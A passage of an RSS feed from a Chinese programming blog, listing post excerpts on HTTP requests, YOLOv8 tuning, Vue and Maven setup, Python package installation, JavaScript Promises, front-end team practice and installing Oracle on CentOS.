      <description>HTTP协议 OVERVIEW HTTP协议一、web服务器处理请求1.静态请求2.动态请求 二、http协议请求与响应1.请求消息(Request)（1）Get方式提交数据（2）Post方式提交数据 2.响应消息(Response)3.http状态码 一、web服务器处理请求 1.静态请求 客户端访问服务器的静态网页, 不涉及任何数据的处理, 如下面的URL:&#xA;http://localhsot/login.html 2.动态请求 客户端会将数据提交给服务器&#xA;# 使用get方式提交数据得到的url http://localhost/login?user=zhang3&amp;amp;passwd=123456&amp;amp;age=12&amp;amp;sex=man - http: 协议 - localhost: 域名 - /login: 服务器端要处理的指令 - ? : 连接符, 后边的内容是客户端给服务器提交的数据 - &amp;amp; : 分隔符 动态的url如何找服务器端处理的指令? - 去掉协议 - 去掉域名/IP - 去掉端口 - 去掉?和它后边的内容 # 如果看到的是请求行, 如何找处理指令? POST /upload/UploadAction HTTP/1.1 GET /?username=tom&amp;amp;phone=123&amp;amp;email=hello%40qq.com&amp;amp;date=2018-01-01&amp;amp;sex=male&amp;amp;class=3&amp;amp;rule=on HTTP/1.1 1. 找请求行的第二部分 - 如果是post, 处理指令就是请求行的第二部分 - 如果是get, 处理指令就是请求行的第二部分, ? 以前的内容 二、http协议请求与响应 1.请求消息(Request) 客户端(浏览器)发送给服务器的数据格式，请求分为四部分: 请求行, 请求头, 空行, 请求数据</description>
    </item>
    <item>
      <title>springboot启动彩蛋 整合坤坤 banner.txt</title>
      <link>https://bchobby.github.io/posts/7cca59d5f4b7823abe281e9bfffd0f93/</link>
      <pubDate>Thu, 13 Apr 2023 21:34:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cca59d5f4b7823abe281e9bfffd0f93/</guid>
      <description> banner 算是spring的一个彩蛋&#xA;可以自定义springboot启动时候的ascii字符画&#xA;那么作为一个ikun 怎么能视而不管呢&#xA;首先我们在resources目录下新建一个txt文档，名叫 banner.txt&#xA;然后在这个文件中就可以自由发挥了&#xA;最后启动项目：&#xA;是不是很有意思呢？&#xA;字符奉上：&#xA;鸡你太美 鸡你实在太美 鸡你是太美 鸡你太美 实在是太美鸡你 鸡你 实在是太美鸡你 美 鸡你 实在是太美鸡美 太美 鸡你 实在是太美鸡美 太美 鸡你 实在是太美鸡美 太美 鸡你 鸡你实在是美太美 美蓝球球 鸡 鸡 鸡你实在是太美 篮球篮球球 鸡 鸡你太美裆鸡太啊 蓝篮球 鸡你太美裆裆鸡美 鸡你美裆 裆鸡美 鸡太美 鸡太美 鸡美 鸡美 鸡美 鸡美 鸡美 鸡美 鸡太 鸡太 金 猴 金猴 皮 鞋 皮鞋金猴 金光 金光 大道 大道 坤坤保佑 永不宕机 永无BUG </description>
    </item>
    <item>
      <title>如何修改YOLOV8?(从这8方面入手帮你提升精度)</title>
      <link>https://bchobby.github.io/posts/9f90aae1bf7316c18a075fb208c58982/</link>
      <pubDate>Thu, 13 Apr 2023 21:06:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f90aae1bf7316c18a075fb208c58982/</guid>
      <description>当今计算机视觉技术中，YOLOv8 是一个非常流行的物体检测算法。然而，它仍然存在一些局限性，其中最重要的是其准确性。在本文中，我们将探讨一些可以改进 YOLOv8 精度的方法。如果您是计算机视觉领域的从业者或爱好者，那么这篇文章一定会引起您的兴趣。以下是改进 YOLOv8 精度的八种方法。&#xA;1. 数据增强：增加更多的数据可以提高 YOLOv8 的准确性。这可以通过使用各种数据增强技术来实现，例如旋转、平移、翻转、缩放等。这些技术可以增加训练集的样本数量，从而提高算法的泛化能力。&#xA;2. 超参数优化：超参数是 YOLOv8 中的一些调整参数，例如学习率、正则化参数等。通过对这些超参数进行优化，可以提高算法的准确性。我们可以使用自动化工具如网格搜索、贝叶斯优化等来寻找最佳超参数组合。&#xA;3. 模型集成：通过使用多个模型进行集成，可以提高 YOLOv8 的准确性。我们可以使用不同的预训练模型进行融合，例如 EfficientNet、ResNet 等。这种方法可以提高模型的鲁棒性和泛化能力。&#xA;4. 修改损失函数：YOLOv8 的损失函数是非常关键的。通过修改损失函数，可以提高算法的准确性。例如，可以尝试使用更适合任务的损失函数，如 Focal Loss、IoU Loss 等。&#xA;5. 分类器融合：对于一些特定的场景，例如在人脸检测中，我们可以使用分类器融合的方法来提高 YOLOv8 的准确性。这种方法可以结合多个分类器的结果，从而得到更准确的检测结果。&#xA;6. 多尺度训练：通过使用不同的图像尺寸进行训练，可以提高 YOLOv8 的准确性。这种方法可以在训练过程中使用多个尺度的图像，从而使模型能够更好地适应各种大小的物体。&#xA;7. 网络架构优化：YOLOv8 网络架构的优化也可以提高算法的准确性。例如，可以添加更多的卷积层或改变卷积层的大小等。这种方法可以改进模型的特征提取能力，从而提高模型的准确性。&#xA;8. 后处理技术：在 YOLOv8 的检测结果中，可能存在一些误检或漏检的情况。为了进一步提高准确性，我们可以使用一些后处理技术，例如非极大值抑制（NMS）和边界框回归等。这些技术可以过滤掉一些冗余的检测结果，并对检测框进行微调，从而提高算法的准确性。&#xA;综上所述，我们可以看到，有许多方法可以改进 YOLOv8 的精度。这些方法可以单独使用，也可以组合使用，从而得到更好的结果。但是需要注意的是，这些方法并非一定适用于所有场景，具体使用时需要根据具体情况进行调整。</description>
    </item>
    <item>
      <title>【vue框架】 vue-cli从0开始搭建移动端vue项目框架（vscode版本）</title>
      <link>https://bchobby.github.io/posts/49b7d64881a99fcb13d3276e86afa24e/</link>
      <pubDate>Thu, 13 Apr 2023 20:36:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49b7d64881a99fcb13d3276e86afa24e/</guid>
      <description>一. 使用 vue-cli 搭建项目 安装vue/cli 1.安装vue/cli ，执行下面的命令安装或是升级&#xA;npm i -g @vue/cli 安装vue/cli 报错解决方案 ​ 如果安装报错如下&#xA;npm WARN rollback Rolling back node-notifier@10.0.1 failed (this is probably harmless): EPERM: operation not permitted, rmdir &#39;D:\Devlop\nodejs\node_global\node_modules\@vue\cli&#39; npm ERR! code EEXIST npm ERR! path D:\Devlop\nodejs\node_global\node_modules\@vue\cli\bin\vue.js npm ERR! dest D:\Devlop\nodejs\node_global\vue.cmd npm ERR! EEXIST: file already exists, cmd shim &#39;D:\Devlop\nodejs\node_global\node_modules\@vue\cli\bin\vue.js&#39; -&amp;gt; &#39;D:\Devlop\nodejs\node_global\vue.cmd&#39; npm ERR! File exists: D:\Devlop\nodejs\node_global\vue.cmd npm ERR! Remove the existing file and try again, or run npm npm ERR!</description>
    </item>
    <item>
      <title>Maven 多模块 快速入门 简单示例</title>
      <link>https://bchobby.github.io/posts/a84fd6989dde919f6d0dfdb6ed3ec9bd/</link>
      <pubDate>Thu, 13 Apr 2023 19:19:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a84fd6989dde919f6d0dfdb6ed3ec9bd/</guid>
      <description>Maven 多模块简单示例 项目结构 (这里gateway属于单独的模块，不是muapi的子模块)&#xA;解释 ：&#xA;&amp;lt;dependencyManagement&amp;gt;标签：&#xA;Maven中的dependencyManagement元素提供了一种管理依赖版本号的方式。在dependencyManagement元素中声明所依赖的jar包的版本号等信息，那么所有子项目再次引入此依赖jar包时则无需显式的列出版本号。Maven会沿着父子层级向上寻找拥有dependencyManagement 元素的项目，然后使用它指定的版本号。&#xA;子模块中 parent标签里的 均设置为父模块的&#xA;父模块pom.xml&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.0&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.mu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;muapi&amp;lt;/artifactId&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;muapi-interface&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;muapi-backend&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;mabatis.version&amp;gt;2.2.2&amp;lt;/mabatis.version&amp;gt; &amp;lt;mybatis-plus.version&amp;gt;3.5.1&amp;lt;/mybatis-plus.version&amp;gt; &amp;lt;mysql.version&amp;gt;8.0.30&amp;lt;/mysql.version&amp;gt; &amp;lt;knife4j.version&amp;gt;3.0.3&amp;lt;/knife4j.version&amp;gt; &amp;lt;jwt.version&amp;gt;0.9.1&amp;lt;/jwt.version&amp;gt; &amp;lt;fastjson.version&amp;gt;2.0.21&amp;lt;/fastjson.version&amp;gt; &amp;lt;muapi-client-sdk&amp;gt;0.0.1&amp;lt;/muapi-client-sdk&amp;gt; &amp;lt;dubbo.version&amp;gt;3.0.7&amp;lt;/dubbo.version&amp;gt; &amp;lt;nacos.version&amp;gt;2.1.0&amp;lt;/nacos.version&amp;gt; &amp;lt;wx-java-mp&amp;gt;4.4.0&amp;lt;/wx-java-mp&amp;gt; &amp;lt;gson.version&amp;gt;2.9.0&amp;lt;/gson.version&amp;gt; &amp;lt;commons-lang3.version&amp;gt;3.12.0&amp;lt;/commons-lang3.version&amp;gt; &amp;lt;junit.version&amp;gt;4.13.2&amp;lt;/junit.version&amp;gt; &amp;lt;cos_api&amp;gt;5.6.89&amp;lt;/cos_api&amp;gt; &amp;lt;easyexcel.version&amp;gt;3.1.1&amp;lt;/easyexcel.version&amp;gt; &amp;lt;hutool.version&amp;gt;5.8.8&amp;lt;/hutool.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.mu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;muapi-client-sdk&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${muapi-client-sdk}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${mabatis.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.</description>
    </item>
    <item>
      <title>调用百度地图API时，在for循环中使用new BMap.InfoWindow()，只显示最后一个的问题</title>
      <link>https://bchobby.github.io/posts/d0b8e10146020dcf0194d9499ff8f71e/</link>
      <pubDate>Thu, 13 Apr 2023 17:06:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0b8e10146020dcf0194d9499ff8f71e/</guid>
      <description>在使用new BMap.InfoWindow()时，添加多个标记，可能在循环中添加addEventListener监听事件，但是最后发现只有最后一个监听管用，解决方法如下：&#xA;map() { let t = this; // 百度地图API功能 var map = new BMapGL.Map(&#34;map&#34;); var point = new BMapGL.Point(112.541526, 37.934578); map.centerAndZoom(point, 10); var myIcon = new BMapGL.Icon( require(&#34;../assets/images/location.png&#34;), new BMapGL.Size(48, 48) ); var markerList = []; //标记集合 for (var i in t.sourceList) { markerList.push( new BMapGL.Marker( new BMapGL.Point(t.sourceList[i].lng, t.sourceList[i].lat), { icon: myIcon, } ) ); map.addOverlay(markerList[i]); addInfoWinview(i); } function addInfoWinview(i) { markerList[i].addEventListener(&#34;click&#34;, function () { map.openInfoWindow( new BMapGL.InfoWindow( `公司：${t.</description>
    </item>
    <item>
      <title>yolov7之Wise-iou</title>
      <link>https://bchobby.github.io/posts/5f105b1c2d56dbf508a71d4e48514079/</link>
      <pubDate>Thu, 13 Apr 2023 17:04:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f105b1c2d56dbf508a71d4e48514079/</guid>
      <description>学习视频： YOLOV7改进-Wise IoU_哔哩哔哩_bilibili&#xA;代码地址： objectdetection_script/yolov7-iou.py at master · z1069614715/objectdetection_script (github.com)&#xA;需要的就是这部分，我复制下来了&#xA;class WIoU_Scale: &#39;&#39;&#39; monotonous: { None: origin v1 True: monotonic FM v2 False: non-monotonic FM v3 } momentum: The momentum of running mean&#39;&#39;&#39; iou_mean = 1. monotonous = False _momentum = 1 - 0.5 ** (1 / 7000) _is_train = True def __init__(self, iou): self.iou = iou self._update(self) @classmethod def _update(cls, self): if cls._is_train: cls.iou_mean = (1 - cls.</description>
    </item>
    <item>
      <title>python包安装方法及常见问题处理</title>
      <link>https://bchobby.github.io/posts/c605eeb64be14b09557912bcfc44308c/</link>
      <pubDate>Thu, 13 Apr 2023 16:17:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c605eeb64be14b09557912bcfc44308c/</guid>
      <description>基本语法pip install 包名&#xA;问题1：外网安装包，因为网速慢报错。建议使用镜像源。&#xA;pip install 包名 -i 镜像源&#xA;常见报错：ERROR: No matching distribution found for&#xA;可能原因：&#xA;1、镜像源没有资源 换镜像源。&#xA;2、镜像源网址协议不对，采用的http。 需要按照提示加--trusted-host pypi.douban.com&#xA;常见镜像源：&#xA;清华：https://pypi.tuna.tsinghua.edu.cn/simple&#xA;阿里云：https://mirrors.aliyun.com/pypi/simple/&#xA;中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/&#xA;豆瓣：https://pypi.douban.com/simple/&#xA;问题2：单个安装太缓慢。建议使用requirements.txt文件批量安装。&#xA;pip install -r requirements.txt&#xA;requirements.txt文件在项目中的生成方法 pip freeze requirements.txt&#xA;问题3：部分安装包很难找到，例如talib。可以利用wheel文件安装。&#xA;常用包wheel文件下载地址 https://www.lfd.uci.edu/~gohlke/pythonlibs/&#xA;在cmd中&#xA;步骤1 cd 文件下载路径&#xA;步骤2 pip install wheel文件名&#xA;常见报错 .whl is not a supported wheel on this platform.&#xA;原因：安装的wheel文件版本不对。&#xA;查询电脑支持的wheel文件版本命令 pip debug --verbose&#xA;额外：通过github在线安装，离线安装python包。&#xA;在线安装：&#xA;pip install git+github中的地址 （注意这种方法因为需要下载外网资源很容易失败）&#xA;离线安装</description>
    </item>
    <item>
      <title>postman无法发送请求，报错postman 无法发送请求之Error: connect ECONNREFUSED 127.0.0.1:80</title>
      <link>https://bchobby.github.io/posts/7626bbaecb1f8560ec0ec7ad36d8d87e/</link>
      <pubDate>Thu, 13 Apr 2023 16:12:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7626bbaecb1f8560ec0ec7ad36d8d87e/</guid>
      <description>解决办法：&#xA;1.点击settings&#xA;2.点击proxy&#xA;3. 把use the system proxy 取消勾选&#xA;4.按下图增加一个代理&#xA;5.确保控制面板的 下面两个功能勾选上&#xA;先找到启用或关闭windows功能&#xA;再勾选下面两个选项再点击确定，等待下载完成</description>
    </item>
    <item>
      <title>python scipy.optimize 非线性规划 求解局部最优和全局最优</title>
      <link>https://bchobby.github.io/posts/fee11fa263eed25aec9b4178bf5c10dd/</link>
      <pubDate>Thu, 13 Apr 2023 15:34:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fee11fa263eed25aec9b4178bf5c10dd/</guid>
      <description>1. 非线性规划 求解局部最优 首先展示一个最简单的示例：&#xA;from scipy.optimize import minimize def fun_convex(x): return (x - 1) ** 2 + 3 minimize(fun=fun_convex, x0=0, bounds=[(-10,10)]) scipy.optimize.minimize(fun, x0, args=(), method=None, jac=None, hess=None, hessp=None, bounds=None, constraints=(), tol=None, callback=None, options=None) fun: 求最小值的目标函数 x0: 变量的初始猜测值，如果有多个变量，需要给每个变量一个初始猜测值 args: 常数值，fun中的可变常量 method: 求极值的方法，官方文档给了很多种。一般使用默认 constraints: 约束条件，针对fun中为参数的部分进行约束限制 scipy.optimize.minimizel 官方说明文档&#xA;通过scipy.optimize.minimize，我们可以很轻松的求解凸函数的局部最优的数值解，这里有几个注意点：&#xA;①求解函数为非凸函数时，所求结果为局部最优&#xA;②求解函数为凸函数时，所求结果为最小值&#xA;③所求皆为数值解而不是理论解&#xA;下面展示一个非凸函数的示例：&#xA;from scipy.optimize import minimize def fun_nonconvex(x): if x&amp;lt;0: return ( x + 2 ) ** 2 + 1 else: return ( x - 2 ) ** 2 + 2 minimize(fun=fun_nonconvex, x0=0, bounds=[(-10,10)]) 我们可以发现，所求的x=2并非为全局最优解（应该是x=-2）而是局部最优解，所求结果与设置的初值x0有很大关系。</description>
    </item>
    <item>
      <title>深入理解Promise之一步步教你手写Promise构造函数</title>
      <link>https://bchobby.github.io/posts/7d086ec790bceda62db560c27967b345/</link>
      <pubDate>Thu, 13 Apr 2023 15:05:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d086ec790bceda62db560c27967b345/</guid>
      <description>目录 前言一，手写教学1.1 基本结构1.2 resolve与reject结构搭建1.3 resolve与reject代码实现1.4 throw抛出异常改变状态1.5 promise对象状态只能转换一次1.6 then方法进行回调1.7 异步任务的回调执行1.8 执行多个回调的实现1.9 同步修改状态then方法结果返回1.10 异步修改状态then方法结果返回 二，总体代码后记 前言 Promise是前端面试中很重要的一个考点。如何真正的了解promise？我们不如自己动手，写一个可以拿来用的Promise.js。&#xA;下面是循序递进的写法教学，本文的最后也有完整写法的代码可以借鉴，希望能够帮助大家！&#xA;后面如果有机会会写一篇详解promise的博客，欢迎关注！&#xA;一，手写教学 1.1 基本结构 想要写一个最初的结构，我们不妨先用一下Promise，然后再进行分析。&#xA;let p = new Promise((resolve, reject) =&amp;gt; { resolve(&#39;巧克力小猫猿&#39;) }) p.then(value =&amp;gt; { console.log(value) }, reason =&amp;gt; { console.log(reason) }) 如上代码，我们了解到了，Promise构造函数里面传进去的是一个函数，所以我们也为其加一个函数类型的形参：&#xA;function Promise(executor) { } 上述代码也用到了then方法，但目前我们的结构中还没有then，所以也写一个then，且有两个参数：&#xA;Promise.prototype.then = function(onResolved, onRejected) { } 以上，基本结构已经写完。&#xA;1.2 resolve与reject结构搭建 我们都知道，在使用Promise的时候，内部会传一个执行器（函数），且该函数有两个函数类型的参数：resolve和reject。&#xA;因此，我们在写结构的时候也要声明着两个函数，并在内部执行器调用的时候使用它们，代码如下：&#xA;function Promise(executor) { //同步调用 function resolve(data) { } function reject(data) { } executor(resolve, reject) } //先添加一个then Promise.</description>
    </item>
    <item>
      <title>小公司-小前端团队，如何一步步走向成熟？</title>
      <link>https://bchobby.github.io/posts/9801e7c10be0fd0d14d36d0d432858ec/</link>
      <pubDate>Thu, 13 Apr 2023 14:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9801e7c10be0fd0d14d36d0d432858ec/</guid>
      <description>现状 去年下半年，加入了一家小公司，前端团队也是刚刚成立没多久，虽然自己心里上已经提前预设了团队可能存在的种种问题，但是，进入以后，还是发现了一系列比较明显的问题，这里列举其中一些典型问题：&#xA;前后端代码没有分离，发布上线等没有分离前端技术栈单一，所有项目都是直接采用vue3-vben-admin代码规范，commit规范等等没有统一，CI/CD流程不规范。没有设计，产品等，导致整体开发流程不规范。...其他 之所以，列举以上这些问题，并不是对我司有任何的不满啊，哈哈哈，更多的是希望能够给遇到类似问题的小伙伴儿一些方案或者方向，同时，也能够帮助大家的前端团队逐渐走向规范与成熟。&#xA;成熟的前端团队是什么样子？ 前端团队刚刚成立不久，如何一步步走向规范与成熟呢？很显然，我们需要知道一个成熟的前端团队是什么样子的（当然一般谈论这种话题，很有可能被喷），其实呢？没有一个明确的标准，而且公司业务不同，前端的技术栈，基建等都会不同，这里只是列举出了建设前端团队比较常见的一些方向供大家参考：&#xA;前端规范 这里，总结出了一些常见的规范，直接上图：&#xA;如果大家所在团队中，对这些规范没有进行统一，可以参考上面这些方向在团队中进行推广。&#xA;前端项目模版 大家肯定都知道vue，react的官方脚手架工具：vue-cli, create-react-app,通过这些基础脚手架，就可以帮助我们创建最基础的前端项目代码，但是随着业务的迭代，各个公司的业务场景不同，技术栈不同，往往需要在vue-cli, create-react-app创建的项目模版基础上，逐渐沉淀出符合公司的自定义项目模版代码，具体可以参考下图：&#xA;前端脚手架 上面，我们讲了前端项目模版，那如何更好的去管理模版呢？答案就是脚手架，加入没有脚手架，我们很可能是直接将模版代码放在一个单独的仓库中，每次开启一个新项目，就clone到本地，然后在copy一份出来，这样虽然也可以做，但是脚手架可以通过命令更好更快捷的帮助我们去管理项目模版，以及进行项目初始化等等操作。&#xA;当然，脚手架的技术栈和传统的前端项目的技术栈有所不同，上面图中也有说到，底层依赖Node，Lerna,Yargs等，感兴趣的可以学习一些，是否要维护公司自己的脚手架，就要评估人力成本，收益等，结合团队的实际情况进行考量了。&#xA;前端自动化构建部署（CI/CD） 这部分就是大家常说的CI/CD，即前端项目如何持续集成与部署，这里就不额外展开说啦，具体可以参考我自己写的一篇文章：基于Docker + Nginx + Gitlab-runner 构建前端CI/CD&#xA;有一点说明一下：可能早期，工作经验不多的前端小伙伴儿，会遇到这种情况，每次项目发布上线，可能都是直接使用公司现成的发布系统，直接在页面点点就可以成功，但是往往遇到问题的时候，就不太知道怎么去排查问题，还得请教运维等相关同学，遇到好交流的同事可能还帮你解决一下，遇到一些不友好的同事，你自己内心也会一万个....&#xA;因此，随着前端的不断发展，对于前端的要求也会越来越高，我们也有必要知道前端项目底层到底是如何进行CI/CD，如何去发布上线，这里就会涉及到Docker,K8s,Nginx,CI工具等技术栈，感兴趣的同学也可以去写一些demo，了解了解。&#xA;前端全链路监控体系 其实就是随着项目的迭代，功能越来越复杂，尤其是一些C端的项目，我们需要去掌握用户的行为，从而，根据用户的行为，去进一步更好的迭代我们的项目， 那么，这就需要我们对这些行为进行监控，也就是大家常说的埋点，&#xA;一个完整的监控体系，通常包含如下内容：&#xA;如果有的小伙伴儿所在团队有这样的需求，那么就要考虑如何去做啦，目前市场上也有一些开源的方案可以参考，例如：Sentry，当然，也要结合团队实际情况，看是否需要自己去实现一套完整的监控体系，因为实现成本也不低，尤其小公司，我们就需要调研调研，是否可以使用一些开源的方案去实现啦。&#xA;前端物料库 什么是前端物料？其实就是大家常说的组件库，工具库等可以复用的代码，具体可以参考下图：&#xA;一般大厂都会有类似的物料平台，那么，我们小公司呢？就要考虑其实现成本和收益啦，也不一定非要建立物料平台，因为小公司能够沉淀的物料也不会有那么多，比如：一般有沉淀一些组件库，工具库，我们也可以发布到npm上，这样团队内部也可以使用。&#xA;怎么做？ 那具体怎么做呢？主要从以下几方面考虑：&#xA;明确要解决的问题：结合公司团队当前情况，按照优先级明确现有问题明确要解决的问题的具体实现方案：通过调研，团队讨论等方式明确各个方案利弊，选择最优方案明确具体的执行步骤：从团队实际情况出发，最好是渐进式开启，在对现有业务不影响的前提下做增量式基建工作 于是，我进一步结合我司的情况，明确了以下几点是要优先去实现的：&#xA;确定前端技术栈明确前端规范前后端代码分离，打造独立的前端CI/CD 确定前端技术栈 由于我司目前主要中后台项目居多，这里确认的技术栈也主要基于此方向展开的。&#xA;首先，传统的中后台项目，前端一般会包含以下这些内容：&#xA;那以上这些内容，如何实现呢？可以从三个方向展开：&#xA;自己团队手动封装，形成团队自己的一套最佳实践（其实就是结合公司业务场景，逐渐沉淀出一套初始化项目的项目模版）&#xA;借助社区开源方案：这里推荐：蚂蚁开源的UmiJS&#xA;简单来说，该框架就是以插件的形式集成了传统中后台解决方案常见的内容，例如常见的路由管理，权限管理等等，我们只需要引入相应的插件即可。&#xA;使用现成的开箱即用的中台前端解决方案框架，这里推荐以下几个框架：&#xA;react的Ant Design Pro，Vue3的Vue3 Vben Admin，Vue2的vue-element-admin 那我司是如何选择的呢？历史项目使用了一部分Vue3 Vben Admin，新项目统一采用Ant Design Pro，&#xA;这里重点对比一下Vue-vben-admin和Ant design pro：&#xA;Vue3 Vben Admin&#xA;优势&#xA;当前使用技术栈，且用了两到三年，积累了一定的经验，趟过了一些坑。整体功能相对比较齐全，不需要从零开发。 劣势&#xA;本地版本迭代更新机制不太友好，需要开发者每次手动clone最新版本的模版仓库，然后还需要将原来的业务代码进行copy，而且如果对源码代码有更新的话，会更加麻烦，例如：一个组件，我们可能在项目中进行了二次修改，然后，我们更新vben版本的时候，作者很有可能也对该组件进行了代码更新，这个时候，就需要比对新旧组件代码，容易出现问题。 底层原因一：项目架构整体相对比较简单，没有采用monorepo架构，模版项目代码中封装的hook，组件等内容没有单独发npm包，没有版本管理。底层原因二：封装的组件，自定义render能力有限，需要我们手动修改组件源码。 部分源码嵌套层级较深，新手上手成本较大，随着业务的迭代，源码和业务代码容易混淆，导致后期版本升级较难。&#xA;目前我们项目首屏渲染过慢（后期可能会成为一个比较明显的问题）</description>
    </item>
    <item>
      <title>element ui tree组件怎么设置滚动条</title>
      <link>https://bchobby.github.io/posts/222ffd379c5072a08a8e94a3e7d96daf/</link>
      <pubDate>Thu, 13 Apr 2023 14:55:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/222ffd379c5072a08a8e94a3e7d96daf/</guid>
      <description> &amp;lt;el-tree class=&#34;el-scrollbar tree&#34; :data=&#34;areaList&#34; node-key=&#34;id&#34; default-expand-all :expand-on-click-node=&#34;false&#34; @current-change=&#34;currentChange&#34;&amp;gt; &amp;lt;span class=&#34;custom-tree-node&#34; slot-scope=&#34;{ node, data }&#34;&amp;gt; &amp;lt;span&amp;gt;{{ node.label }}&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;butotn&#34;&amp;gt; &amp;lt;slot name=&#34;operate&#34; :treeData=&#34;data&#34;&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/el-tree&amp;gt; //css样式 .tree { display: inline-block; } 给tree元素添加el-scrollbar 和自定义class类名，并给el-tree的父元素设置overflow:auto&#xA;//全局样式 .Tree[data-v-610b47e2]::-webkit-scrollbar { width: 5px; height: 5px; } //内嵌滚动条样式 .Tree[data-v-610b47e2]::-webkit-scrollbar-thumb { border-radius: 1px; background-color: #40a0ff65; } //外部样式 .Tree[data-v-610b47e2]::-webkit-scrollbar-track { background-color: #f3f3f3; } </description>
    </item>
    <item>
      <title>shell读取终端输入</title>
      <link>https://bchobby.github.io/posts/eb8d9acf063ffca1e53f41bf21c24b77/</link>
      <pubDate>Thu, 13 Apr 2023 14:33:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb8d9acf063ffca1e53f41bf21c24b77/</guid>
      <description>用read 关键字 read -p “Enter input:” var&#xA;-p 的作用是输出后面的字符串作为提示。&#xA;echo $var</description>
    </item>
    <item>
      <title>Linux下 安装Oracle</title>
      <link>https://bchobby.github.io/posts/cc70a5c9cf4db92f828ff409d1bba455/</link>
      <pubDate>Thu, 13 Apr 2023 13:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc70a5c9cf4db92f828ff409d1bba455/</guid>
      <description>CentOS更新yum源 先看CentOS的版本：&#xA;$ cat /etc/redhat-release&#xA;根据版本下载163镜像的yum，在下载之前先备份：&#xA;mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup&#xA;之后下载yum源：&#xA;CentOS6.5：&#xA;wget http://mirrors.163.com/.help/CentOS6-Base-163.repo&#xA;CentOS7：&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 如果wget命令不生效，说明还没有安装wget工具，输入yum -y install wget 回车进行安装，或者使用&#xA;curl -O http://mirrors.aliyun.com/repo/Centos-7.repo&#xA;证书更新： 证书检查 可以先通过rpm命令检查下CA证书，可以发现是2013版的。&#xA;$ rpm -qa |grep ca-certificates ca-certificates-2013.1.94-65.0.el6.noarch 更新：&#xA;$ yum --disablerepo=epel -y update ca-certificates yum update -y # 更新系统命令&#xA;修改yum配置，默认同时安装32位和64位rpm&#xA;[root@OracleCentOS ~]# echo &#39;multilib_policy=all&#39; &amp;gt;&amp;gt; /etc/yum.conf 安装Oracle 12c所需rpm包&#xA;[root@OracleCentOS ~]# yum -y install binutils compat-libcap1 compat-libstdc++-33 gcc gcc-c++ glibc glibc-devel ksh libgcc libstdc++ libstdc++-devel libaio libaio-devel libXext libXtst libX11 libXau libxcb libXi make sysstat unixODBC unixODBC-devel xterm 添加组</description>
    </item>
    <item>
      <title>面试题：ES的面试题及答案</title>
      <link>https://bchobby.github.io/posts/bd514a3f3f0eabc08085002595d76262/</link>
      <pubDate>Thu, 13 Apr 2023 10:42:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd514a3f3f0eabc08085002595d76262/</guid>
